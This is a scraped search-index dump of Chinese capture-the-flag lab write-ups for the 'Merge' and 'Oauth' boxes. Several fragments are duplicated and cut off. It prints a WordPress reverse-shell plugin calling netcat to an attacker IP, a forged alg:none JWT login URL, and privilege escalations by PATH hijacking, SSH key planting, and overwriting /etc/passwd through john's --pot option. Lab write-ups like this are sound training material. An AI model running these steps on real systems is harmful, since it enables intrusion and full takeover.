lnnn@Merge:~$ cd /opt/admin lnnn@Merge:/opt/admin$ ls -al total 328 drwxr-x--- 2 admin lnnn 4096 May 22 09:20 . drwxr-xr-x 4 root root 4096 May 22 09:19 .. -rwsr-sr-x 1 admin admin 321880 May 22 09:19 curl -rw-r--r-- 1 root root 105 May 22 09:20 hint.txt lnnn@Merge:/opt/admin$ cat hint.txt 关注详细的参数帮助信息 Focus on the detailed parameter help information lnnn@Merge:/opt/admin$ curl --help category auth 认证方法 connection 连接管理 curl curl 命令行工具本身 deprecated 已废弃/旧版选项 dns DNS 名称解析 file FILE 协议 ftp FTP 协议 global 全局选项 http HTTP 和 HTTPS 协议 imap IMAP 协议 ldap LDAP 协议 output 文件系统输出 pop3 POP3 协议 post HTTP POST 相关选项 proxy 代理选项 scp SCP 协议 sftp SFTP 协议 smtp SMTP 协议 ssh SSH 协议 telnet TELNET 协议 tftp TFTP 协议 timeout 超时和延迟 tls TLS/SSL 相关 upload 上传/发送数据 verbose 详细输出、跟踪、日志等 lnnn@Merge:/opt/admin$ curl --help output output: 文件系统输出 --create-dirs 创建必要的本地目录层级 --fail-with-body 遇到 HTTP 错误时返回失败，但仍保存响应 body -N, --no-buffer 禁用输出流缓冲 --no-clobber 不要覆盖已经存在的文件 -o, --output 把输出写入指定文件，而不是输出到 stdout --output-dir 指定保存文件的目录 -J, --remote-header-name 使用响应头里提供的文件名 -O, --remote-name 使用远程文件名保存输出 --remote-name-all 对所有 URL 都使用远程文件名保存 -R, --remote-time 把远程文件的时间设置到本地输出文件上 --remove-on-error 出错时删除输出文件 -i, --show-headers 在输出中显示响应头 --skip-existing 如果本地文件已经存在，则跳过下载 --upload-flags IMAP 上传行为标志 -B, --use-ascii 使用 ASCII/文本传输 --xattr 把元数据存储到扩展文件属性中 lnnn@Merge:/opt/admin$ curl --help file file: FILE 协议 --create-file-mode 设置新创建文件的权限模式 -I, --head 只显示文档信息/头信息，不显示内容 -l, --list-only 只列出内容，不下载/显示完整数据 -r, --range 只","date":"2026-06-06","heading":"mono","objectID":"/p/merge/:3:1","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#mono"},{"categories":["靶机复盘"],"collections":null,"content":"横向移动 mono mono@Merge:~$ sudo -l Matching Defaults entries for mono on Merge: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty, env_keep+=PATH, !secure_path User mono may run the following commands on Merge: (lnnn) NOPASSWD: /opt/Dirty-Merge/dirty_merge env_keep+=PATH 表示保留当前用户mono的PATH环境变量，secure_path 用预设的安全路径覆盖掉原来的PATH环境变量。 只有env_keep+=PATH !secure_path 同时存在，才能确保：执行 /opt/Dirty-Merge/dirty_merge 时使用的是用户 mono 自己设置的 PATH，而不是系统预设的安全路径。 mono@Merge:/opt/Dirty-Merge$ sed -n \"550,800p\" gro_fragnesia.c | grep system ret = system(\"ip link add veth0 type veth peer name veth1\"); ret = system(\"ip addr add 10.0.0.1/24 dev veth0\"); ret = system(\"ip link set veth0 up\"); ret = system(\"ip link set lo up\"); ret = system(\"ip addr add 10.0.0.2/24 dev veth1\"); ret = system(\"ip link set veth1 up\"); ret = system(\"ethtool -K veth1 gro on\"); ret = system(buf); 执行命令用的是相对路径，所以可以使用环境变量PATH劫持： mono@Merge:/tmp$ export PATH=/tmp:$PATH mono@Merge:/tmp$ echo $PATH /tmp:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/x86_energy_perf_policy:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/turbostat:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/cpupower:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/perf:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games mono@Merge:/tmp$ vim ethtool mono@Merge:/tmp$ cat ethtool echo \"success\" mkdir /home/lnnn/.ssh echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali\" \u003e /home/lnnn/.ssh/authorized_keys chmod 600 /home/lnnn/.ssh/authorized_keys chmod 700 /home/lnnn/.ssh mono@Merge:/tmp$ chmod +x ethtool mono@Merge:/tmp$ sudo -u lnnn /opt/Dirty-Merge/dirty_merge lnnn ╭─ ~ ────────────────────────────────────────────────────────────────── INT ✘  root@kali  04:27:47 ╰─ ssh lnnn@192.168.56.128 -p 22 Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. lnnn@Merge:~$ ls -al /opt total 20 drwxr-xr-x 4 root root 4096 May 22 09:19 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge -rw-r--r-- 1 root root 30 May 22 06:07 pass.txt lnnn@Merge:~$ cd /opt/admin lnnn@Merge:/opt/admin$ ls -al total 328 drwxr-x--- 2 admin lnnn 4096 May 22 09:20 . drwxr-xr-x 4 root root 4096 May 22 09:19 .. -rwsr-sr-x 1 admin admin 321880 May 22 09:19 curl -rw-r--r-- 1 root root 105 May 22 09:20 hint.txt lnnn@Merge:/opt/admin$ cat hint.txt 关注详细的参数帮助信息 Focus on the detailed parameter help information lnnn@Merge:/opt/admin$ curl --help category auth 认证方法 connection 连接管理 curl curl 命令行工具本身 deprecated 已废弃/旧版选项 dns DNS 名称解析 file FILE 协议 ftp FTP 协议 global 全局选项 http HTTP 和 HTTPS 协议 imap IMAP 协议 ldap LDAP 协议 output 文件系统输出 pop3 POP3 协议 post HTTP POST 相关选项 proxy 代理选项 scp SCP 协议 sftp SFTP 协议 smtp SMTP 协议 ssh SSH 协议 telnet TELNET 协议 tftp TFTP 协议 timeout 超时和延迟 tls TLS/SSL 相关 upload 上传/发送数据 verbose 详细输出、跟踪、日志等 lnnn@Merge:/opt/admin$ curl --help output output: 文件系统输出 --create-dirs 创建必要的本地目录层级 --fail-with-body 遇到 HTTP 错误时返回失败，但仍保存响应 body -N, --no-buffer 禁用输出流缓冲 --no-clobber 不要覆盖已经存在的文件 -o, --output 把输出写入指定文件，而不是输出到 stdout --output-dir 指定保存文件的目录 -J, --remote-header-name 使用响应头里提供的文件名 -O, --remote-name 使用远程文件名保存输出 --remote-name-all 对所有 URL 都使用远程文件名保存 -R, --remote-time 把远程文件的时间设置到本地输出文件上 --remove-on-error 出错时删除输出文件 -i, --show-headers 在输出中显示响应头 --skip-existing 如果本地文件已经存在，则跳过下载 --upload-flags IMAP 上传行为标志 -B, --use-ascii 使用 ASCII/文本传输 --xattr 把元数据存储到扩展文件属性中 lnnn@Merge:/opt/admin$ curl --help file file: FILE 协议 --create-file-mode 设置新创建文件的权限模式 -I, --head 只显示文档信息/头信息，不显示内容 -l, --list-only 只列出内容，不下载/显示完整数据 -r, --range 只","date":"2026-06-06","heading":"lnnn","objectID":"/p/merge/:3:1","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#lnnn"},{"categories":["靶机复盘"],"collections":null,"content":"横向移动 mono mono@Merge:~$ sudo -l Matching Defaults entries for mono on Merge: env_reset, mail_badpass, secure_path=/usr/local/sbin\\:/usr/local/bin\\:/usr/sbin\\:/usr/bin\\:/sbin\\:/bin, use_pty, env_keep+=PATH, !secure_path User mono may run the following commands on Merge: (lnnn) NOPASSWD: /opt/Dirty-Merge/dirty_merge env_keep+=PATH 表示保留当前用户mono的PATH环境变量，secure_path 用预设的安全路径覆盖掉原来的PATH环境变量。 只有env_keep+=PATH !secure_path 同时存在，才能确保：执行 /opt/Dirty-Merge/dirty_merge 时使用的是用户 mono 自己设置的 PATH，而不是系统预设的安全路径。 mono@Merge:/opt/Dirty-Merge$ sed -n \"550,800p\" gro_fragnesia.c | grep system ret = system(\"ip link add veth0 type veth peer name veth1\"); ret = system(\"ip addr add 10.0.0.1/24 dev veth0\"); ret = system(\"ip link set veth0 up\"); ret = system(\"ip link set lo up\"); ret = system(\"ip addr add 10.0.0.2/24 dev veth1\"); ret = system(\"ip link set veth1 up\"); ret = system(\"ethtool -K veth1 gro on\"); ret = system(buf); 执行命令用的是相对路径，所以可以使用环境变量PATH劫持： mono@Merge:/tmp$ export PATH=/tmp:$PATH mono@Merge:/tmp$ echo $PATH /tmp:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/x86_energy_perf_policy:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/x86/turbostat:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/power/cpupower:/usr/src/linux-headers-7.0.8-1-liquorix-amd64/tools/perf:/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games mono@Merge:/tmp$ vim ethtool mono@Merge:/tmp$ cat ethtool echo \"success\" mkdir /home/lnnn/.ssh echo \"ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali\" \u003e /home/lnnn/.ssh/authorized_keys chmod 600 /home/lnnn/.ssh/authorized_keys chmod 700 /home/lnnn/.ssh mono@Merge:/tmp$ chmod +x ethtool mono@Merge:/tmp$ sudo -u lnnn /opt/Dirty-Merge/dirty_merge lnnn ╭─ ~ ────────────────────────────────────────────────────────────────── INT ✘  root@kali  04:27:47 ╰─ ssh lnnn@192.168.56.128 -p 22 Linux Merge 7.0.8-1-liquorix-amd64 #1 ZEN SMP PREEMPT liquorix 7.0-8.1~trixie (2026-05-15) x86_64 The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright. Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. lnnn@Merge:~$ ls -al /opt total 20 drwxr-xr-x 4 root root 4096 May 22 09:19 . drwxr-xr-x 18 root root 4096 May 16 05:19 .. drwxr-x--- 2 admin lnnn 4096 May 22 09:20 admin drwxr-xr-x 2 root root 4096 May 22 06:09 Dirty-Merge -rw-r--r-- 1 root root 30 May 22 06:07 pass.txt lnnn@Merge:~$ cd /opt/admin lnnn@Merge:/opt/admin$ ls -al total 328 drwxr-x--- 2 admin lnnn 4096 May 22 09:20 . drwxr-xr-x 4 root root 4096 May 22 09:19 .. -rwsr-sr-x 1 admin admin 321880 May 22 09:19 curl -rw-r--r-- 1 root root 105 May 22 09:20 hint.txt lnnn@Merge:/opt/admin$ cat hint.txt 关注详细的参数帮助信息 Focus on the detailed parameter help information lnnn@Merge:/opt/admin$ curl --help category auth 认证方法 connection 连接管理 curl curl 命令行工具本身 deprecated 已废弃/旧版选项 dns DNS 名称解析 file FILE 协议 ftp FTP 协议 global 全局选项 http HTTP 和 HTTPS 协议 imap IMAP 协议 ldap LDAP 协议 output 文件系统输出 pop3 POP3 协议 post HTTP POST 相关选项 proxy 代理选项 scp SCP 协议 sftp SFTP 协议 smtp SMTP 协议 ssh SSH 协议 telnet TELNET 协议 tftp TFTP 协议 timeout 超时和延迟 tls TLS/SSL 相关 upload 上传/发送数据 verbose 详细输出、跟踪、日志等 lnnn@Merge:/opt/admin$ curl --help output output: 文件系统输出 --create-dirs 创建必要的本地目录层级 --fail-with-body 遇到 HTTP 错误时返回失败，但仍保存响应 body -N, --no-buffer 禁用输出流缓冲 --no-clobber 不要覆盖已经存在的文件 -o, --output 把输出写入指定文件，而不是输出到 stdout --output-dir 指定保存文件的目录 -J, --remote-header-name 使用响应头里提供的文件名 -O, --remote-name 使用远程文件名保存输出 --remote-name-all 对所有 URL 都使用远程文件名保存 -R, --remote-time 把远程文件的时间设置到本地输出文件上 --remove-on-error 出错时删除输出文件 -i, --show-headers 在输出中显示响应头 --skip-existing 如果本地文件已经存在，则跳过下载 --upload-flags IMAP 上传行为标志 -B, --use-ascii 使用 ASCII/文本传输 --xattr 把元数据存储到扩展文件属性中 lnnn@Merge:/opt/admin$ curl --help file file: FILE 协议 --create-file-mode 设置新创建文件的权限模式 -I, --head 只显示文档信息/头信息，不显示内容 -l, --list-only 只列出内容，不下载/显示完整数据 -r, --range 只","date":"2026-06-06","heading":"admin","objectID":"/p/merge/:3:1","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#admin"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 我们对于/etc/group具有写入权限，我们可以给任意用户添加新的组；我记得/etc/sudoers默认规则里有：%sudo ALL=(ALL:ALL) ALL，mono，我们知道密码，把mono添加到sudo组，我们就可以以任何用户的身份执行任何权限： vim /etc/group mono@Merge:/tmp$ id uid=1000(mono) gid=1000(mono) groups=1000(mono) mono@Merge:/tmp$ newgrp sudo mono@Merge:/tmp$ id uid=1000(mono) gid=27(sudo) groups=27(sudo),1000(mono) mono@Merge:/tmp$ sudo bash [sudo] password for mono: root@Merge:/tmp# id uid=0(root) gid=0(root) groups=0(root) root@Merge:/tmp# ","date":"2026-06-06","heading":"权限提升","objectID":"/p/merge/:4:0","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"disk权限提升 disk 组用户通常可以直接读写块设备，通常可以读写块设备，但不一定可以读写。 确认当前用户是否在disk组里： admin@Merge:~$ id uid=1002(admin) gid=1002(admin) groups=1002(admin),6(disk) 定位目标分区、确认文件系统类型、确认挂载点： lsblk -f # 看所有块设备和挂载点 df -hT # 查看当前已挂载分区、类型、容量 findmnt # 看挂载树，结构更清楚 这三种方式可以查看哪个是ext系列文件系统，因为debugfs主要能读写ext系列文件系统。 the0n3 推荐三种方法： 读取私钥/shadow sudo提权 写入公钥 这三种是最稳定的，后面的两个需要重启后才能生效，我并没有进行验证。 方法三： admin@Merge:~$ cat /tmp/a ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIIfy3402O5EN6KOaInOukRh3bNQwoLDjEs88Wb+TuN3f root@kali admin@Merge:~$ ./debugfs -w /dev/sda1 debugfs 1.47.4 (6-Mar-2025) debugfs: write /tmp/a /root/.ssh/authorized_keys Allocated inode: 542507 debugfs: q admin@Merge:~$ ","date":"2026-06-06","heading":"disk权限提升","objectID":"/p/merge/:5:0","tags":["mazesec","Medium"],"title":"Merge","uri":"/p/merge/#disk权限提升"},{"categories":["靶机复盘"],"collections":null,"content":"mazesec 靶机 Oauth 复盘 的渗透测试与提权记录","date":"2026-06-03","objectID":"/p/oauth/","tags":["mazesec","Medium"],"title":"Oauth 复盘","uri":"/p/oauth/"},{"categories":["靶机复盘"],"collections":null,"content":" 作者 难度 平台 sublarge medium mazesec ","date":"2026-06-03","heading":"","objectID":"/p/oauth/:0:0","tags":["mazesec","Medium"],"title":"Oauth 复盘","uri":"/p/oauth/#"},{"categories":["靶机复盘"],"collections":null,"content":"信息收集 ╭─ ~ ──────────────────────────────────────────────── INT ✘  4h 33m 6s  root@kali  06:59:02 ╰─ nmap 192.168.56.126 -p- Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-01 07:05 -0400 Nmap scan report for 192.168.56.126 Host is up (0.00066s latency). Not shown: 65532 closed tcp ports (reset) PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8080/tcp open http-proxy MAC Address: 08:00:27:D5:46:80 (Oracle VirtualBox virtual NIC) Nmap done: 1 IP address (1 host up) scanned in 17.58 seconds ╭─ ~ ────────────────────────────────────────────────────────── ✔  18s  root@kali  07:06:03 ╰─ nmap 192.168.56.126 -p22,80,8080 -A Starting Nmap 7.98 ( https://nmap.org ) at 2026-06-01 07:06 -0400 WARNING: Service 192.168.56.126:8080 had already soft-matched rtsp, but now soft-matched sip; ignoring second value Nmap scan report for 192.168.56.126 Host is up (0.0023s latency). PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 10.3 (protocol 2.0) 80/tcp open http Apache httpd 2.4.67 |_http-server-header: Apache/2.4.67 (Unix) |_http-title: Did not follow redirect to http://oauth.dsz/ 8080/tcp open rtsp |_rtsp-methods: ERROR: Script execution failed (use -d to debug) | http-title: Keycloak Administration Console |_Requested resource was http://192.168.56.126:8080/admin/master/console/ | http-robots.txt: 1 disallowed entry 修改hosts文件： # 添加内容 192.168.56.126 oauth.dsz hosts：C:\\Windows\\System32\\drivers\\etc，linux 在 /etc/hosts 文件里修改。 这里可以了解一下这些端口运行服务的功能 访问：http://oauth.dsz/ WordPress 框架写的。 ╭─ ~ ────────────────────────────────────────────────────────── ✔  15s  root@kali  07:24:03 ╰─ wpscan --url http://oauth.dsz/ _______________________________________________________________ __ _______ _____ \\ \\ / / __ \\ / ____| \\ \\ /\\ / /| |__) | (___ ___ __ _ _ __ ® \\ \\/ \\/ / | ___/ \\___ \\ / __|/ _` | '_ \\ \\ /\\ / | | ____) | (__| (_| | | | | \\/ \\/ |_| |_____/ \\___|\\__,_|_| |_| WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________ [+] URL: http://oauth.dsz/ [192.168.56.126] [+] Started: Mon Jun 1 07:24:45 2026 Interesting Finding(s): [+] Headers | Interesting Entries: | - Server: Apache/2.4.67 (Unix) | - X-Powered-By: PHP/8.3.31 | Found By: Headers (Passive Detection) | Confidence: 100% [+] XML-RPC seems to be enabled: http://oauth.dsz/xmlrpc.php | Found By: Direct Access (Aggressive Detection) | Confidence: 100% | References: | - http://codex.wordpress.org/XML-RPC_Pingback_API | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_ghost_scanner/ | - https://www.rapid7.com/db/modules/auxiliary/dos/http/wordpress_xmlrpc_dos/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_xmlrpc_login/ | - https://www.rapid7.com/db/modules/auxiliary/scanner/http/wordpress_pingback_access/ [+] WordPress readme found: http://oauth.dsz/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] Upload directory has listing enabled: http://oauth.dsz/wp-content/uploads/ | Found By: Direct Access (Aggressive Detection) | Confidence: 100% [+] The external WP-Cron seems to be enabled: http://oauth.dsz/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299 [+] WordPress version 6.9.4 identified (Outdated, released on 2026-03-11). | Found By: Rss Generator (Passive Detection) | - http://oauth.dsz/?feed=rss2, https://wordpress.org/?v=6.9.4 | - http://oauth.dsz/?feed=comments-rss2, https://wordpress.org/?v=6.9.4 [+] WordPress theme in use: twentytwentyfive | Location: http://oauth.dsz/wp-content/themes/twentytwentyfive/ | Last Updated: 2026-05-20T00:00:00.000Z | Readme: http://oauth.dsz/wp-content/themes/twentytwentyfive/readme.txt | [!] The version is out of date, the latest version is 1.5 | [!] Direc","date":"2026-06-03","heading":"信息收集","objectID":"/p/oauth/:1:0","tags":["mazesec","Medium"],"title":"Oauth 复盘","uri":"/p/oauth/#信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"漏洞利用 漏洞利用流程 伪造 JWT（alg: none，无签名验证） http://oauth.dsz/?code=test123\u0026amp;state=a2V5Y2xvYWs=\u0026amp;id_token=eyJhbGciOiJub25lIn0.eyJlbWFpbCI6ImFkbWluQG9hdXRoLmRzeiIsInN1YiI6IjEiLCJwcmVmZXJyZWRfdXNlcm5hbWUiOiJhZG1pbiIsIm5hbWUiOiJhZG1pbiIsImlzcyI6Imh0dHA6Ly9vYXV0aC5kc3o6ODA4MC9yZWFsbXMvd29yZHByZXNzLXNpdGUifQ. 在浏览器访问： 可以看到，已经进入了后台。 ","date":"2026-06-03","heading":"漏洞利用","objectID":"/p/oauth/:2:0","tags":["mazesec","Medium"],"title":"Oauth 复盘","uri":"/p/oauth/#漏洞利用"},{"categories":["靶机复盘"],"collections":null,"content":"反向shell获取立足点 \u003c?php /** * Plugin Name: Reverse Shell Plugin * Plugin URI: * Description: Reverse Shell Plugin for penetration testing. * Version: 1.0 * Author: Security Analyst * Author URI: http://www.example.com */ exec(\"busybox nc 192.168.56.101 39666 -e /bin/bash\"); ?\u003e 编写一个插件，并压缩为zip格式。 点击这里 再点击这里，然后上传插件并启动。 启动之前，必须在kali上进行监听： ╭─ ~ ──────────────────────────────────────────────────────────────── ✔  root@kali  23:02:28 ╰─ nc -lvnp 39666 listening on [any] 39666 ... connect to [192.168.56.101] from (UNKNOWN) [192.168.56.126] 40969 id uid=104(apache) gid=106(apache) groups=82(www-data),106(apache),106(apache) env PWD=/var/www/localhost/htdocs/wordpress/wp-admin HOME=/root TERM=linux USER=root SHLVL=3 PATH=/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin _=/usr/bin/env export SHELL=/bin/bash script -qc /bin/bash /dev/null bash: /root/.bashrc: Permission denied Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ export TERM=xterm export TERM=xterm Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ ^Z [1] + 1239 suspended nc -lvnp 39666 ╭─ ~ ────────────────────────────────────────────── TSTP ✘  1m 29s    root@kali  23:04:02 ╰─ stty raw -echo;fg [1] + 1239 continued nc -lvnp 39666 reset Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ stty size stty: standard input Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ stty rows 37 columns 98 Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ ","date":"2026-06-03","heading":"反向shell获取立足点","objectID":"/p/oauth/:3:0","tags":["mazesec","Medium"],"title":"Oauth 复盘","uri":"/p/oauth/#反向shell获取立足点"},{"categories":["靶机复盘"],"collections":null,"content":"系统内部信息收集 Oauth:/var/www/localhost/htdocs/wordpress/wp-admin$ cat /etc/passwd | grep bash root:x:0:0:root:/root:/bin/bash keycloak:x:102:103::/home/keycloak:/bin/bash 在/var/www/localhost/htdocs/wordpress，查看wp-config.php，可以获得数据库的一个用户wpuser和密码wppass，在wordPress数据库的wp_users表可以查看用户信息： +----+------------+-----------------------------------------------------------------+---------------+-----------------+------------------+---------------------+--------------------------------------------------------------+-------------+--------------+ | ID | user_login | user_pass | user_nicename | user_email | user_url | user_registered | user_activation_key | user_status | display_name | +----+------------+-----------------------------------------------------------------+---------------+-----------------+------------------+---------------------+--------------------------------------------------------------+-------------+--------------+ | 1 | sublarge | $wp$2y$10$fXkwhjebLy0jD3cp5G1uIuwqtu720.FYFhXbQrwHMiuiDb34yaina | sublarge | admin@oauth.dsz | http://oauth.dsz | 2026-03-08 07:13:48 | 1780313905:$generic$h3g95FK5QUYF5u_UNwW7v-olEYO4zMvWDlgCwdUG | 0 | sublarge | +----+------------+-----------------------------------------------------------------+---------------+-----------------+------------------+---------------------+--------------------------------------------------------------+-------------+--------------+ 1 row in set (0.000 sec) 在/opt/keycloak-26.0.0/conf，可以查看keycloak的配置信息，PostgreSQL被注释掉了，所以使用的默认的嵌入式数据库h2。 Oauth:/opt/keycloak-26.0.0/conf$ find / -user keycloak -type f 2\u003e/dev/null /opt/keycloak-26.0.0/data/h2/keycloakdb.mv.db /opt/keycloak-26.0.0/data/h2/keycloakdb.trace.db 本来想从这里获取keycloak的密码，但是太难读了，是二进制格式的数据，并没有读取到密码。 Oauth:/home$ cd keycloak/ Oauth:/home/keycloak$ ls -al total 20 drwxr-sr-x 2 keycloak keycloak 4096 Apr 9 10:55 . drwxr-xr-x 3 root root 4096 Apr 9 10:41 .. -rw-r--r-- 1 root keycloak 73 Mar 9 15:17 ... -rw-r--r-- 1 root keycloak 33 Apr 9 10:55 .profile -rw-r--r-- 1 root keycloak 44 Mar 9 15:17 user.txt Oauth:/home/keycloak$ cat user.txt flag{user-dd5c07036f2975ff4bce568b6511d3bc} 我自己就只做到这里；接下来就是查看wp，看了一下，我才发现...： Oauth:/home/keycloak$ cat ./... Don't just crack user.txt; use John’s --rules to expand your horizons. 翻译：不要只是破解 user.txt；用 John 的 --rules 来扩展你的视野。 dd5c07036f2975ff4bce568b6511d3bc是一段hash值，判断类型： ╭─ ~ ──────────────────────────────────────────────────────────────── ✔  root@kali  00:59:30 ╰─ hash-identifier dd5c07036f2975ff4bce568b6511d3bc Possible Hashs: [+] MD5 [+] Domain Cached Credentials - MD4(MD4(($pass)).(strtolower($username))) # 后面的省略 也可以根据长度判断：32位，最常见的32位hash是md5。 ╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:13:00 ╰─ john --wordlist=/usr/share/wordlists/rockyou.txt --format=Raw-MD5 hash Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status single (?) 1g 0:00:00:00 DONE (2026-06-02 01:13) 10.00g/s 7680p/s 7680c/s 7680C/s jeffrey..james1 Use the \"--show --format=Raw-MD5\" options to display all of the cracked passwords reliably Session completed. 解出来为：single。 john 的 --rules 可以对字典进行变形： ╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:19:29 ╰─ vim user.txt # user.txt 的内容是：keycloak ╭─ /tmp/123 ──────────────────────────────────────────────────── ✔  8s  root@kali  01:20:28 ╰─ john --wordlist=user.txt --rules=single --stdout \u003e pass.txt Using default input encoding: UTF-8 Press 'q' or Ctrl-C to abort, almost any other key for status 897p 0:00:00:00 100.00% (2026-06-02 01:20) 14950p/s keycloak1900 ╭─ /tmp/123 ───────────────────────────────────────────────────────── ✔  root@kali  01:20:36 ╰─ python3 -m http.server Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ... 192.168.56.126 - - [02/Jun/2026 01:23:46] \"GET /pass.txt HTTP/1.1\" 200 - # 靶机 Oauth:/tm","date":"2026-06-03","heading":"系统内部信息收集","objectID":"/p/oauth/:4:0","tags":["mazesec","Medium"],"title":"Oauth 复盘","uri":"/p/oauth/#系统内部信息收集"},{"categories":["靶机复盘"],"collections":null,"content":"权限提升 提权思路：john 在 爆破密码时，如果爆破正确，会将用户名和密码写入到~/.john/john.pot 文件里面，我们可以通过--pot指定任意路径，让john把我们构造的恶意内容写入到我们指定的任意文件。 ╭─ ~/tools ────────────────────────────────────────────────────────── ✔  root@kali  01:48:04 ╰─ openssl passwd -1 -salt \"so\" \"123456\" $1$so$WM4.wE1EeZcnUF30BnRkB/ #payload $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash ╭─ ~/tools ────────────────────────────────────────────────────────── ✔  root@kali  01:48:13 ╰─ echo -n '$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash' | md5sum # -n 输出内容不加 \\n 85efdaaaaba78e12b2fa7dce0b0444fc - # 先在keycloak 用户下尝试： Oauth:/tmp$ echo '85efdaaaaba78e12b2fa7dce0b0444fc' \u003e hash.txt Oauth:/tmp$ echo '$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash' \u003e pass.txt Oauth:/tmp$ john --wordlist=pass.txt --format=Raw-MD5 hash.txt Created directory: /home/keycloak/.john Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 1 candidate left, minimum 24 needed for performance. $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash (?) 1g 0:00:00:00 DONE (2026-06-02 13:54) 16.66g/s 16.66p/s 16.66c/s 16.66C/s $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash Use the \"--show --format=Raw-MD5\" options to display all of the cracked passwords reliably Session completed Oauth:/tmp$ cat ~/.john/john.pot $dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc:$1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash # 可以看到已经写入了。 Oauth:/tmp$ sudo john --wordlist=pass.txt --format=Raw-MD5 hash.txt --pot=/etc/passwd Created directory: /root/.john Using default input encoding: UTF-8 Loaded 1 password hash (Raw-MD5 [MD5 256/256 AVX2 8x3]) Warning: no OpenMP support for this hash type, consider --fork=2 Press 'q' or Ctrl-C to abort, almost any other key for status Warning: Only 1 candidate left, minimum 24 needed for performance. $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash (?) 1g 0:00:00:00 DONE (2026-06-02 13:56) 12.50g/s 12.50p/s 12.50c/s 12.50C/s $1$so$WM4.wE1EeZcnUF30BnRkB/:0:0:root:/root:/bin/bash Use the \"--show --format=Raw-MD5\" options to display all of the cracked passwords reliably Session completed Oauth:/tmp$ su '$dynamic_0$85efdaaaaba78e12b2fa7dce0b0444fc' Password: Oauth:/tmp# id uid=0(root) gid=0(root) groups=0(root) 可以看到提权成功。 scdyh 的 提权思路和 lnnn 的 提权思路是相同的，只是最终写入的文件是不同的。 scdyh 的 提权思路：john 把密码爆破成功后，会以 hash:密码 的格式写入到 ~/.john/john.pot文件里，hash对于我们来说是垃圾信息，--field-separator-char=C 在输入文件和 pot 文件中用字符“C”代替“:” ，利用换行符将hash和密码隔开。 keycloak ALL=(ALL:ALL) NOPASSWD: ALL # NOPASSWD 后面的 : 不要忘记 这是我们的payload，生成hash值： ╭─ /tmp/123 ─────────────────────────────────────────────────────── 1 ✘  root@kali  06:18:32 ╰─ echo -n 'keycloak ALL=(ALL:ALL) NOPASSWD: ALL' | 